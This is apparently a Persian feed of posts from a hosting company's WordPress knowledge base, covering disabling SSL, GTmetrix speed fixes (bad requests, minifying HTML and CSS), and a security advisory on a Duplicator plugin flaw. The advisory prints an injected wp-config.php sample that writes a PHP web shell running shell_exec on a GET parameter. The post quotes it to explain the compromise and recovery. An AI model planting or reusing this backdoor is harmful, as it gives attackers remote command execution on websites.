برای اینکه امکان رد و بدل کردن داده‌ها در محیط امن SSL انجام بگیره و پیشخوان وردپرس هم با استفاده از HTTPS در دسترس باشه معمولا همه ما از این قابلیت استفاده می‌کنیم که با اضافه کردن دو قطعه کد در فایل wp-config.php وردپرس انجام میگیره و صفحه پیشخوان وردپرس و صفحه ورود در وردپرس هم با HTTPS در دسترس قرار می‌گیرند. حالا برای اینکه اقدام به غیرفعال کردن SSL در پیشخوان وردپرس و صفحه ورود در وردپرس بکنیم کافیه این دو کد رو برداریم. برای این منظور وارد فایل منیجر هاست خودتون شده و روی فایل wp-config.php راست کلیک کرده و گزینه Edit رو انتخاب کنید. سپس کدهای زیر که داخل این فایل قرار داره رو ازش حذف کنید.

define(‘FORCE_SSL_LOGIN’, true);
define(‘FORCE_SSL_ADMIN’, true);

با برداشتن این کدها از فایل wp-config.php امکان استفاده از SSL هم از پیشخوان وردپرس برداشته خواهد شد و حالا اگه به پیشخوان وردپرس برید اطلاعات روی پروتکل HTTP لود خواهند شد.

مرحله چهارم: اصلاح آدرس‌های سایت در مطالب

حالا همه مراحل برای غیرفعال کردن HTTPS در وردپرس انجام گرفته و تنها کار باقی مونده در بخش سایت این هست که لینک‌هایی که در سایت وجود داره رو اصلاح کنید. برخی از این لینک‌ها در فهرست، ابزارک و… هستند که با ویرایش از طریق پیشخوان وردپرس قابل اصلاح هستند. اما برخی از این آدرس‌ها در محتوای مطالب و محصولات و… هست که باید از دیتابیس تغییر کنند. بهترین کار این هست که با استفاده از راهنمای آموزش جستجو و جایگزینی کلمات در وردپرس این کار رو انجام بدین. کافیه هنگام جستجو نام دامنه را به همراه https:// وارد کنید و برای جایگزینی هم از نام دامنه با پروتکل http:// استفاده کنید.

چند نکته پیرامون حذف SSL از وردپرس

  1. در صورتی که از افزونه Really Simple SSL یا هر افزونه دیگه برای حل مشکل سبز نشدن SSL در وردپرس استفاده می‌کنید که کار این افزونه ریدایرکت و اصلاح آدرس‌ها از HTTP به HTTPS هست رو باید غیرفعال کنید.
  2. بعد از غیرفعال کردن SSL از سایت طبق توضیحات بالا حتما اقدام به ثبت آدرس سایت در گوگل با آدرس HTTP بکنید. برای این کار میتونید از راهنمای آموزش معرفی سایت وردپرسی به گوگل استفاده کنید.
  3. حتما یک بار سورس صفحات رو بررسی کنید و ببینید چه آدرس‌هایی از سایت به صورت HTTPS وجود داره که اگر جایی برای تغییر فراموش شده این موارد رو هم ویرایش و اصلاح کنید.
امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید اقدام به حذف SSL از وردپرس بکنید. در صورتی که در رابطه با این آموزش و نحوه غیرفعال کردن SSL در وردپرس سوال یا مشکلی داشتید از بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش نحوه غیرفعال کردن SSL در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش رفع خطای Avoid bad requests در GTmetrix

$
0
0

Avoid bad requests یکی از خطاهای رایجی هست که در تست سرعت سایت با استفاده از GTmetrix با اون مواجه خواهیم شد. این خطا از نوع خطاهای محتوایی هست که به دلیل درخواست اشتباه از سمت مرورگر ایجاد میشه و برای همین در GTmetrix با مشکل Avoid bad requests مواجه خواهیم شد. این درخواست اشتباه میتونه علت‌های مختلفی داشته باشه که در عمومی‌ترین حالت خطای 404 دلیل اون هست. یعنی زمانی پیش میاد که در بخشی از سایت شما یک تصویر یا حتی فایل CSS و JS قرار دادین که باید در این بخش لود بشه، در صورتی که فایل مورد نظر در سرور وجود نداره. حالا اتفاقی که تو این حالت پیش میاد اینه که کاربر که با مرورگر در حال انتظار برای لود سایت هست از سرور این فایل رو میخواد در صورتی که این فایل اصلا روی سرور قرار نداره. همین مسئله باعث میشه مدت زمان لود سایت افزایش پیدا بکنه که در این صورت در GTmetrix با خطای Avoid bad requests مواجه خواهید شد.

تو این آموزش از پایگاه دانش میزبان‌فا قصد دارم به نحوه رفع مشکل Avoid bad requests در GTmetrix بپردازم که با استفاده از این آموزش میتونید هر زمان که در حالت تست سرعت سایت هستید اگر با این خطا مواجه شدید به راحتی اونو برطرف کنید.

آموزش رفع خطای Avoid bad requests در GTmetrix

برای اینکه بتونید خطای Avoid bad requests در GTmetrix رو برطرف کنید قبل از هر چیزی باید بتونید منبع این خطارو پیدا کنید و ببینید که از کجاست. در بیشتر مواقع این خطا برای تصاویر و رسانه‌هایی که قابل مشاهده هستند رخ میده که برای فهمیدن این موضوع کافیه به آدرس صفحه مورد نظر رفته و ببینید که کدوم یکی از این فایل‌ها هستند که لود نمیشن. اگر تصویر یا ویدیو باشه به راحتی با یک مشاهده قابل فهمیدن هست. اما اگر خطای bad requests بخاطر عدم پیدا کردن فایل CSS یا JS و یا هر نوع فایل دیگه باشه که در صفحه محتوایی از اون وجود نداره،‌ اما شما با منتظر بودن در لود سایت متوجه یک اشکال در لود میشید باید سورس صفحات رو از این نظر بررسی کرده و ببینید که کدوم پیوندها به صورت 404 هستند.

آموزش رفع خطای Avoid bad requests در GTmetrix

برای این مورد میتونید از مقاله بررسی لینک‌های ۴۰۴ و شکسته در وردپرس و اصلاح آن ها استفاده کنید که در رابطه با سیستم مدیریت محتوای وردپرس کاربرد خوبی داره و به راحتی میتونید با استفاده از راهکاری که توی این مقاله معرفی کردم آدرس‌هایی که به صورت 404 در وردپرس هستند رو شناسایی کرده و به راحتی برطرفشون کنید.

یه راهکار دیگه برای شناسایی با استفاده از ابزار Inspect Element خود مرورگر هست که اگر خطایی در هر صفحه از سایت وجود داشته باشه با رنگ قرمز رنگ قابل مشاهده است. برای این منظور توی صفحه سایت راست کلیک کرده و گزینه inspect element رو انتخاب کنید. سپس در تبی که درون پنجره مرورگر باز میشه روی ستون Console کلیک کنید. حالا اگه خطایی در این صفحه وجود داشته باشه توی این تب با رنگ قرمز و به شکلی که آدرس دهی فایل مشخص شده باشه بهتون نشون داده میشه. که نمونه‌ای از این خطا رو در تصویر زیر میبینید.

رفع خطای Avoid bad requests و حل مشکل avoid bad requests

چطور مشکل Avoid bad requests را برطرف کنیم؟

پیدا کردن راه حل برابر با طی کردن بخشی از موضوع هست که کمی دشوار هست. اما به محض اینکه علت مشکل رو پیدا کنید، رفع کردن اون به نصبت خیلی ساده‌تر خواهد بود. وقتی شما مشکل رو در صفحه پیدا کردید که بخاطر لود نشدن یک تصویری هست که وجود نداره یا باید تصویر رو در مسیر مورد نظر آپلود کنید که مشکل حل بشه و یا اینکه قطعه کدی که وظیفه‌اش نشون دادن این بخش هست که باهاش به مشکل برخوردید رو از محتوای صفحه بردارید.

در طول این فعالیت بیش از یکساله در میزبان‌فا چندتایی از کاربران دقیقا با همین مشکل مواجه شده بودند که مربوط به عدم وجود فایل نبود و بلکه کدی که برای نشون دادن محتوا بوده اشتباه درج شده بود. به عنوان مثال قرار بوده که تصویری در پس زمینه نشون داده بشه، اما حالا چون اقدام به نصب SSL در وردپرس کرده بودن، تصویر پس زمینه از آدرس با HTTP لود میشد در صورتی که باید از HTTPS لود میشد. برای همین برخی کاربران فکر می‌کردند که با حذف تصویر از رسانه مشکل برطرف میشه در صورتی که بعد از حذف تصویر مشکل نه تنها حل نشده، بلکه بخاطر مواجه شدن با خطای bad requests بزرگ‌تر هم شده بود.

توی این حالت شما یا باید قطعه کد رو بررسی کنید و به صورت درست وارد کنید و یا اینکه به صورت کامل برداریدش تا با خطای bad requests مواجه نشید. گاهی اوقات هم برخی کاربران اقدام به ریدایرکت کردن این نوع صفحات و آدرس دهی می‌کنند که خودشونو از شر مواجه شدن با خطای 404 در سایت راحت کنند. انجام این کار هم اصلا توصیه نمیشه، چرا که در واقع پاک کردن صورت مسئله هست و همچنان مشکل در ارسال درخواست نادرست پابرجا خواهد بود.

بنابراین کاری که شما باید برای رفع مشکل Avoid bad requests در GTmetrix باید انجام بدین اینه که از بوجود اومدن خطاهای 400 جلوگیری کنید و کاری کنید که محتوای همه صفحات به صورت کامل نمایش داده بشن. اگر هم همچین وضعیتی پیش میاد باید در مرحله اول منبع و علت موضوع رو به دست بیارید و بعدش بررسی کنید و ببینید که کدهایی که وظیفه اونها نشون دادن این محتوا هست در چه مسیر و فایلی قرار دارند که با اصلاح کردنشون مشکلتون رو برطرف کنید.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده ازش تونسته باشید که خطای avoid bad requests در GTmetrix رو برطرف کنید. در صورتی که در رابطه با این آموزش و نحوه رفع این خطا سوال یا مشکلی داشتید از بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش رفع خطای Avoid bad requests در GTmetrix اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.


آموزش رفع خطای Minify HTML در gtmetrix

$
0
0

تو جلسه قبلی به رفع خطای Avoid bad requests در GTmetrix پرداختیم که در بیشتر موارد جزو خطاهایی هست که در اکثر تست هایی که برای بررسی سرعت سایت انجام میگیره به وجود میاد و یاد گرفتیم که چطور خطایابی کرده و برطرف کنیم. حالا تو این آموزش هم قصد دارم به نحوه رفع خطای Minify HTML در gtmetrix بپردازم که با استفاده از این آموزش میتونید به minify کردن صفحات در وردپرس و یا هر سیستم مدیریت محتوا بپردازید. منظور از Minify HTML این هست که صفحات سایت ما که در قالب HTML برای مرورگر نمایش داده میشن رو طوری کنیم که تا جای ممکن از فضای اون بکاهیم.

اگر با HTML آشنایی داشته باشید همیشه یک سند html که می‌سازیم هر بخش از این سند دارای کدهایی هست که در هر خط وارد می‌کنیم که نمونه‌ای از اونو در زیر می‌بینید.

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>…</title>
</head>
<body>
.
.
.
</body>
</html>

همونطور که در نمونه بالا میبینید هر بخش از تگ‌ها در یک خط به صورت مرتب شده قرار گرفتند که برای کسی که در حال کدنویسی هست قابل خوانا باشه و به راحتی بتونه کدها رو از هم تفکیک و آنالیز بکنه. اما بدی که این روش داره اینه که همین فضاهای خالی و اینترهای مکرر که برای جدا کردن هر بخش می‌زنیم باعث ایجاد فضای هرز میشه که حجم صفحه رو افزایش میده، پس بهتره که بیام و با کنار هم قرار دادن کدها از حجم کلی فایل کم کنیم، هر چند که در کمترین حد ممکن هم حجم یک فایل کم بشه. البته موضوع فقط حجم نیست. توی این حالت مشکل دیگه که وجود داره اینه که موقع خوندن از سرور و ارسال درخواست از یک صفحه خط به خط باید چک بشه که باعث میشه مدت خوندن کل خطوط و رسیدن به انتهای اون مدت بیشتر طول بکشه. نمونه کد بالا رو میشه به شکل زیر وارد کرد که به شکل فشرده و minify شده است.

<html xmlns="http://www.w3.org/1999/xhtml"><head><title>…</title></head><body>...</body></html>

آموزش رفع خطای Minify HTML در gtmetrix

خب، تا اینجای کار با ذکر یک مثال توضیح دادم که منظور از Minify کردن یک سند در HTML این هست که کدها را به صورت خلاصه بنویسیم و از فضاهای خالی که باعث بیشتر شدن حجم و افزایش مدت زمان خوندن میشه جلوگیری کنید. گاهی اوقات هم در برخی خطوط توضیحاتی درج میشه که برای توسعه دهنده کاربردی هست، اما برای کسی که نیاز به مشاهده این سند داره کاربردی نداره. این خلاصه نویسی در کدها فقط مختص زبان HTML نیست و در زبان‌های دیگه هم میتونید با بهینه سازی کردنش سرعت لود رو بهتر کنید. به صورت کلی minify کردن و کاهش حجم اسناد html میتونه در سه حالت ممکن وجود داشته باشه.

1. Minify HTML برای سایت‌های استاتیک

توی این حالت سایت شما بدون هیچگونه CMS طراحی شده و از دیتابیسی هم استفاده نمی‌کنید. تنها فایل‌هایی که دارید شامل اسناد HTML، CSS، جاوا اسکریپت و… هستند که برای طراحی ظاهری مورد استفاده قرار می‌گیرند و برای مینیفای کردنشون کافیه به همون روش مثال بالا اقدام کنید. برای این کار هم میتونید از سایت‌های آنلاین استفاده کنید که ب کلیک روی دکمه زیر میتونید به یکی از این سایت‌ها دسترسی داشته باشید.

minifycode.com

بعد از اینکه وارد این سایت شدید، کافیه مشابه تصویر زیر کدهایی که در سند HTML شما قرار داره رو کپی کرده و در باکس این سایت قرار بدین.

رفع خطای Minify HTML در gtmetrix و افزایش سرعت سایت

بعد از قرار دادن کدها روی دکمه Minify HTML که کلیک کنید کدهای شما به صورت فشرده شده تهیه شده و مثل نمونه زیر بهتون نمایش داده میشه که با قرار دادن در سند HTML میتونید فضاهای خالی و کدهای توضیحات و غیرکاربردی رو حذف کنید و هم اینکه از حجم فایل کم کنید.

رفع خطای Minify HTML در gtmetrix و افزایش سرعت سایت

2. Minify HTML برای سایت‌های پویا

این روش به درد سایت‌هایی میخوره که از CMS برای این کار استفاده می‌کننند و محتوا مربوط به سایت از طریق دیتابیس در دسترس کاربران قرار میگیره. در این حالت شما فایل HTML ندارید که بتونید به روش بالا کدهای موجود در اون رو بهینه کنید. شاید فکر کنید که مثلا چون وردپرس با زبان PHP طراحی شده پس میشه به همین روش عمل کرد و کدها رو بهینه کرد. اما در این مورد اشتباه هست، چرا که زبان php سمت سرور هست و داده‌هایی رو از سرور میخونه و به شما نمایش میده. پس چه کدها به صورت مرتب نوشته شده باشن و چه به صورت فشرده شده در هر صورت تاثیری در نتیجه نهایی که در اختیار کاربر قرار میگیره ندارند.

برای این حالت باید از افزونه‌های فشرده ساز استفاده کنید. برای این کار هم افزونه‌های مختلفی ساخته شده که هر کدوم قابلیت‌ها و امکانات خاصی رو به شما میده. اما پیشنهاد می‌کنم برای این کار از افزونه‌ای استفاده کنید که امکانات بیشتری در اختیارتون قرار بده که بتونید علاوه بر minify html وردپرس قادر باشید که فایل‌های دیگه مثل جاوا اسکریپت و CSS رو هم فشرده کنید. تا به امروز چند افزونه در پایگاه دانش میزبان‌فا برای این کار معرفی کردم که میتونید با مراجعه به مقالات آموزش نحوه نصب افزونه wp rocket جهت افزایش سرعت سایت و آموزش فشرده سازی فایل‌ها در وردپرس و افزایش سرعت سایت با این افزونه‌ها آشنا شده و ازشون استفاده کنید.

3. استفاده از CDN

دو روش قبلی به شکلی بودن که میتونستید فایل‌ها رو بهینه کنید. اما یه حالتی هم وجود داره که با استفاده از این حالت علاوه بر اینکه میتونید همین کار فشرده سازی فایل‌های HTML رو پیاده سازی کنید، به دلیل استفاده از شبکه توزیع محتوا CDN این امکان رو هم دارید که داده‌ها رو بر روی بستری به کاربران ارائه بدین که بر اساس موقعیت جغرافیایی از نزدیک‌ترین سرور براشون در دسترس بگیره. این کار میتونه باعث افزایش چند برابری سرعت سایت شما هم بشه.

برای این کار میتونید از کلودفلر استفاده کنید. قبل از هر کاری به راهنمای آموزش استفاده از Cloud Flare  مراجعه کنید و DNS های دامنه خودتون رو روی کلودفلر تنظیم کنید. سپس در پنل کاربری کلودفلر مشابه تصویر زیر روی گزینه SPEED کلیک کرده و تیک سه گزینه javascript، css و HTML رو فعال کنید.

رفع خطای Minify HTML در gtmetrix و افزایش سرعت سایت

با فعال کردن این گزینه کلیه فایل‌های سایت شما که روی سرورهای کلودفلر قرار دارند فشرده سازی شده و در زمان کوتاه‌تر و با سرعت بیشتری در دسترس خواهند بود.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده ازش تونسته باشید اقدام به فشرده سازی فایل‌های HTML در وردپرس و یا هر سایت ساز دیگه بکنید و خطای Minify HTML در gtmetrix را رفع کنید. در صورتی که در رابطه با این آموزش سوال یا مشکلی داشتید از بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش رفع خطای Minify HTML در gtmetrix اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش رفع خطای Minify CSS در GTmetrix

$
0
0

تو جلسه قبلی از آموزش جامع GTmetrix، به آموزش رفع خطای Minify HTML در gtmetrix پرداختیم که در بیشتر موارد جزو خطاهایی هست که در اکثر تست هایی که برای بررسی سرعت سایت انجام میگیره به وجود میاد و یاد گرفتیم که چطور خطایابی کرده و برطرف کنیم. حالا تو این آموزش هم قصد دارم به نحوه رفع خطای Minify CSS در gtmetrix بپردازم که با استفاده از این آموزش میتونید به minify کردن و فشرده سازی فایل‌های CSS در وردپرس و یا هر سیستم مدیریت محتوا بپردازید. منظور از Minify CSS این هست که صفحات سایت ما که در قالب HTML برای مرورگر نمایش داده میشن و شامل فایل‌ها و کدهای CSS برای زیبا سازی ظاهر سایت و چیدمانش هستند رو به نحوی بهینه سازی کنیم که فایل‌های استایل در فشرده‌ترین و خلاصه‌ترین حالت ممکن نوشته شده باشند.

اگر با کدنویسی CSS آشنایی داشته باشید همیشه یک سند CSS که می‌سازیم هر بخش از این سند دارای کدهایی هست که در هر خط وارد می‌کنیم که نمونه‌ای از اونو در زیر می‌بینید.

body {
margin:10px;
padding:15px;
color:#d32f2e;
font-size:18px;
font-family:mizbanfa;
background:#f7f7f7;
}

h1 {
font-size:28px;
color#f3f3f3;
margin-bottom:5px;
}

همونطور که در نمونه بالا میبینید هر بخش از دستوراتی که برای طراحی CSS در مثال بالا هست به شکل مرتب شده قرار گرفتند که برای فرد کدنویس خوانا هست و میتونه که بهتر روی ویرایش کدها کار انجام بده. اما بدی که این روش داره اینه که همین فضاهای خالی و اینترهای مکرر که برای جدا کردن هر بخش می‌زنیم باعث ایجاد فضای هرز و اضافی میشه که حجم فایل ما رو افزایش میده. پس بهتره که بیایم و با کنار هم قرار دادن کدها از حجم کلی فایل کم کنیم، هر چند که در کمترین حد ممکن هم حجم یک فایل کم بشه. موضوع فقط حجم نیست، توی این حالت مشکل دیگه که وجود داره اینه که موقع خوندن از سرور و ارسال درخواست از یک صفحه خط به خط باید چک بشه که باعث میشه مدت خوندن کل خطوط و رسیدن به انتهای اون مدت بیشتر طول بکشه. نمونه کد بالا رو میشه به شکل زیر وارد کرد که به شکل فشرده و minify شده است.

body{margin:10px;padding:15px;color:#d32f2e;font-size:18px;font-family:mizbanfa;background:#f7f7f7;}.h1{font-size:28px;color#f3f3f3;margin-bottom:5px;}

آموزش رفع خطای Minify CSS در GTmetrix

خب، تا اینجای کار با ذکر یک مثال توضیح دادم که منظور از Minify کردن در CSS این هست که کدها را به صورت خلاصه بنویسیم و از فضاهای خالی که باعث بیشتر شدن حجم و افزایش مدت زمان خوندن میشه جلوگیری کنیم. گاهی اوقات هم در برخی خطوط توضیحاتی درج میشه که برای کدنویس کاربردی هست که میتونه با این توضیحات مشخص کنه این بخش از کد چه کاری انجام میده، اما برای کسی که نیاز به مشاهده این سند داره کاربردی نداره. این خلاصه نویسی در کدها فقط مختص زبان CSS یا HTML نیست و در زبان‌های دیگه هم میتونید با بهینه سازی کردنش سرعت لود رو بهتر کنید. حالا در ادامه به معرفی انواع و اقسام روش‌هایی که با استفاده از اون میتونید اقدام به فشرده سازی فایل های css در سایت کرده و مشکل minify css در gtmetrix رو برطرف کنید می‌پردازم.

1. استفاده از سایت GTmetrix

اگر به صفحه تست سرعت سایت در GTmetrix برگردید و عبارت Minify CSS رو با استفاده از کلیدهای ترکیبی CTRL + F جستجو کنید بعد از کلیک روی این گزینه مشابه تصویر زیر میبینید که چه فایل‌هایی بهینه شده نیستند.

رفع خطای Minify CSS در GTmetrix و افزایش سرعت وردپرس

اگه دقت کنید در انتهای آدرس هر فایل CSS یک عبارت Optimized Version قرار داره که با کلیک کردن روی این عبارت میتونید نسخه بهینه شده و فشرده شده همین فایل CSS رو دانلود کنید. تنها کاری که باید انجام بدین اینه که بعد از دانلود فایل وارد هاست خود شده و روی گزینه File Manager کلیک کنید. سپس بر اساس آدرس فایل، به مسیری که مربوط به این فایل هست در public_html مراجعه کنید و فایل دانلودی را جایگزین فایل CSS قبلی بکنید. علاوه بر این میزان فشرده سازی هر فایل هم قرار گرفته که میتونه شما رو در بهینه کردن فایل CSS ترغیب بکنه.

2. استفاده از ابزار آنلاین فشرده سازی CSS

در این روش میتونید با استفاده از سایت‌های آنلاین که برای فشرده سازی فایل‌های برنامه نویسی ابزاری رو در اختیار شما قرار میده کدهای خودتون رو بهینه سازی کنید. برای این منظور روی دکمه زیر کلیک کنید تا به صفحه سایت مورد نظر هدایت بشید.

minifycode.com

بعد از اینکه وارد این سایت شدید، کافیه مشابه تصویر زیر کدهای CSS خودتونو کپی کرده و در باکس این سایت قرار بدین.

رفع خطای Minify CSS در GTmetrix و افزایش سرعت وردپرس

بعد از قرار دادن کدها روی دکمه Minify CSS که کلیک کنید کدهای شما به صورت فشرده شده تهیه شده و مثل نمونه زیر بهتون نمایش داده میشه که با جایگزینی در فایل CSS میتونید فضاهای خالی و کدهای توضیحات و غیرکاربردی رو حذف کنید و هم اینکه از حجم فایل کم کنید.

رفع خطای Minify CSS در GTmetrix و افزایش سرعت وردپرس

3. Minify CSS برای سایت‌های پویا

تو این حالت سایت شما با استفاده از CMS ها و سایت سازها طراحی شده که دیتابیس دارید و باید از افزونه‌های فشرده ساز استفاده کنید. برای این کار هم افزونه‌های مختلفی ساخته شده که هر کدوم قابلیت‌ها و امکانات خاصی رو به شما میده. اما پیشنهاد می‌کنم برای این کار از افزونه‌ای استفاده کنید که امکانات بیشتری در اختیارتون قرار بده که بتونید علاوه بر minify css وردپرس قادر باشید که فایل‌های دیگه مثل جاوا اسکریپت و html رو هم فشرده کنید. تا به امروز چند افزونه در پایگاه دانش میزبان‌فا برای این کار معرفی کردم که میتونید با مراجعه به مقالات آموزش نحوه نصب افزونه wp rocket جهت افزایش سرعت سایت و آموزش فشرده سازی فایل‌ها در وردپرس و افزایش سرعت سایت با این افزونه‌ها آشنا شده و ازشون استفاده کنید.

4. استفاده از CDN

دو روش قبلی به شکلی بودن که میتونستید فایل‌ها رو بهینه کنید. اما یه حالتی هم وجود داره که با استفاده از این حالت علاوه بر اینکه میتونید همین کار فشرده سازی فایل‌های CSS رو پیاده سازی کنید، به دلیل استفاده از شبکه توزیع محتوا CDN این امکان رو هم دارید که داده‌ها رو بر روی بستری به کاربران ارائه بدین که بر اساس موقعیت جغرافیایی از نزدیک‌ترین سرور براشون در دسترس بگیره. این کار میتونه باعث افزایش چند برابری سرعت سایت شما هم بشه.

برای این کار میتونید از کلودفلر استفاده کنید. قبل از هر کاری به راهنمای آموزش استفاده از Cloud Flare  مراجعه کنید و DNS های دامنه خودتون رو روی کلودفلر تنظیم کنید. سپس در پنل کاربری کلودفلر مشابه تصویر زیر روی گزینه SPEED کلیک کرده و تیک سه گزینه javascript، css و HTML رو فعال کنید.

رفع خطای Minify CSS در GTmetrix و افزایش سرعت وردپرس

با فعال کردن این گزینه کلیه فایل‌های سایت شما که روی سرورهای کلودفلر قرار دارند فشرده سازی شده و در زمان کوتاه‌تر و با سرعت بیشتری در دسترس خواهند بود.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده ازش تونسته باشید اقدام به فشرده سازی فایل‌های CSS در وردپرس و یا هر سایت ساز دیگه بکنید و خطای Minify CSS در gtmetrix را رفع کنید. در صورتی که در رابطه با این آموزش سوال یا مشکلی داشتید از بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش رفع خطای Minify CSS در GTmetrix اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آسیب پذیری بسیار خطرناک در افزونه Duplicator وردپرس

$
0
0

در طی این دو ماه گذشته متاسفانه وردپرس مورد حمله هکرها در سطح جهان قرار گرفته است که همین موضوع باعث قرارگیری وردپرس در برابر هک گسترده شده است. ماه گذشته شاهد این بودیم که فایل wp-config.php وردپرس در بسیاری از سایت‌ها به صورت خودکار حذف شده و هنگام مراجعه به سایت با صفحه نصب وردپرس مواجه میشدیم. طی چند روز گذشته نیز بسیاری از سایت‌های وردپرسی که از افزونه Duplicator استفاده می‌کنند مورد حمله قرار گرفته و از طریق کنترل و اجرای دستورات از راه دور توسط هکرها مورد هک قرار گرفته‌اند.

در این مقاله از پایگاه دانش میزبان‌فا به بررسی هک سایت‌های وردپرسی توسط افزونه Duplicator میپردازم که اگر از این افزونه استفاده میکنید و در معرض هک در سایت قرار گرفته‌اید با استفاده از این آموزش قادر به برطرف کردن مشکلات خود باشید.

خطر هک گسترده در وردپرس توسط افزونه Duplicator

همانطور که می‌دانید افزونه Duplicator وردپرس امکان ساخت بسته نصب آسان در وردپرس را به شما میده که با این افزونه میتونید از محتوا و تنظیمات کامل یک وبسایت یک نسخه به صورت کپی شده تهیه کرده و سپس با استفاده از نصب بسته آسان در وردپرس همین نسخه کپی شده را در سایت دیگر و با دامنه‌ای متفاوت بدون اینکه نیاز باشه صفحات را از نو طراحی کنید، انتقال بدین. بنابراین استفاده از این افزونه بسیار بالا بوده و این افزونه تاکنون موفق شده بیش از یک میلیون نصب فعال در مخزن وردپرس رو ازآن خودش بکنه که فروش قالب‌های وردپرس با استفاده از این افزونه هم باعث شده تا میزان استفاده از این افزونه رقمی بالای 10 میلیون رو به خودش اختصاص بده.

چطور افزونه Duplicator باعث هک سایت خواهد شد؟

همونطور که میدونید با استفاده از این افزونه کلیه تنظیمات و اطلاعات دیتابیس، قالب وردپرس، افزونه‌های وردپرس و به طور کلی هر اطلاعاتی که در وردپرس دارید این امکان رو پیدا میکنه که یک نسخه خروجی ازش تهیه کنید. در این نسخه خروجی شما دو فایل installer.php و فایی که شامل محتویات سایت و دیتابیس هست رو خواهید داشت که با استفاده از فایل database.sql هم امکان درون ریزی داده‌های دیتابیس در سایت جدید فراهم خواهد شد.

حالا وقتی که تصمیم به نصب قالب با استفاده از بسته نصبی در سایت خودتون میگیرید، فایل‌های database.php، installer.php، installer-backup.php، installer-log.txt و installer-data.sql و پوشه wp-snapshot نیز در کنار سایر فایل‌های پیشفرض وردپرس قرار میگیرند. مشکل هک وردپرس درست از همینجا آغاز میشه که به دلیل وجود باگ در این افزونه باعث میشه که هکر بتونه امکان دو بار نصب وردپرس رو به دست بیاره که یک بار هم مشابه همین مشکل در سال گذشته رخ داد و باعث هک بسیاری از سایت‌های وردپرسی شد.

این موضوع باعث میشه که هکر در مرحله اول سایت شما را ریست بکنه و با ارسال یک سری فایل مخرب فایل wp-config.php وردپرس را ویرایش کرده و از نو بازنویسی بکنه که این مسئله اولین قدم برای از دست خارج شدن سایت هست. طی بررسی که روی چند فایل wp-config.php برخی سایت‌ها داشتیم کدهای این فایل به شکل زیر تغییر کرده بودند.

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test
'); file_put_contents("test.php", '<pre><?php if
(isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>');
/
*
');
/** MySQL database username */
define('DB_USER', 'test');
/** MySQL database password */
define('DB_PASSWORD', 'test');
/** MySQL hostname */
define('DB_HOST', 'nowhere:12345');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

همونطور که میبینید اطلاعات دیتابیس به صورت کلی از بین رفته و با چیز دیگه جایگزین شده و علاوه بر این هم یک سری کد در این فایل تزریق شده که باعث شده هکر یک درب پشتی برای هک مجدد برای خودش ایجاد بکنه. بعد از این هک گسترده معمولا با دو مشکل اساسی مواجه خواهید شد.

  • وقتی با دستکتاپ وارد سایتتون بشید با خطای 500 در وردپرس مواجه می‌شوید.
  • وقتی با موبایل وارد سایت شوید با ریدایرکت شدن از چند آدرس به آدرس دیگه در نهایت به شکلی به صفحات تبلیغ و اسپم هدایت خواهید شد.

مسئله بعدی که رخ میده اینه که علاوه بر فایل‌های پیشفرض وردپرس یک سری فایل php و web.config دیگه هم در public_html سایت شما اضافه خواهد شد. که تمامی مشکلات و هک شدن سایت به خاطر پاک نکردن فایل installer.php و عدم آپدیت این افزونه به وجود اومده.

راهکار چیست؟ چطور سایت هک شده را برگردانیم؟

اولین کاری که باید انجام بدین این هست که آخرین نسخه بک آپ وردپرس را بازگردانی کنید که به صورت سالم هست. برای این کار میتونید از میزبانی هاست خودتون بخواین که آخرین نسخه بک آپ رو در سایت شما جایگزین بکنه. سپس نسخه آپدیت شده افزونه Duplicator وردپرس که بعد از این بررسی شده و مشکل هک برطرف شده را از مخزن وردپرس دانلود کنید. اگر به پیشخوان وردپرس دسترسی داشتید اقدام به آپدیت افزونه بکنید و در صورت عدم دسترسی هم میتونید با استفاده از راهنمای نصب افزونه در وردپرس به صورت دستی و از طریق هاست افزونه را آپدیت کنید.

بعد از اینکه افزونه duplicator وردپرس آپدیت شد، با استفاده از مقاله افزایش امنیت وردپرس و اسکن امنیتی وردپرس با Wordfence Security و نصب افزونه امنیتی در وردپرس، سایت خودتون رو آنالیز و بررسی کرده و از هک مجدد جلوگیری کنید.

از اونجایی که به این افزونه احتیاجی نخواهید داشت سعی کنید سریعا بعد از آپدیت از سایت حذفش کنید و در نهایت فایل‌های database.php، installer.php، installer-backup.php، installer-log.txt و installer-data.sql که در هاست قرار داره رو هم پاک کنید. بعد از انجام این کار میتونید از خطر هک مجدد جلوگیری کنید. اگر هم تا کنون سایت شما مورد هک قرار نگرفته حتما همه این راهکارها رو دنبال کنید، چرا که این باگ به صورت گسترده است و تا زمانی که از آخرین نسخه افزونه استفاده نکنید، سایت هک خواهد شد.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از این آموزش تونسته باشید اقدام به رفع مشکل و جلوگیری از هک وردپرس توسط افزونه duplicator بکنید. در صورتی که در رابطه با این آموزش سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید.

نوشته آسیب پذیری بسیار خطرناک در افزونه Duplicator وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش بستن آی‌پی کشورها در وردپرس

$
0
0

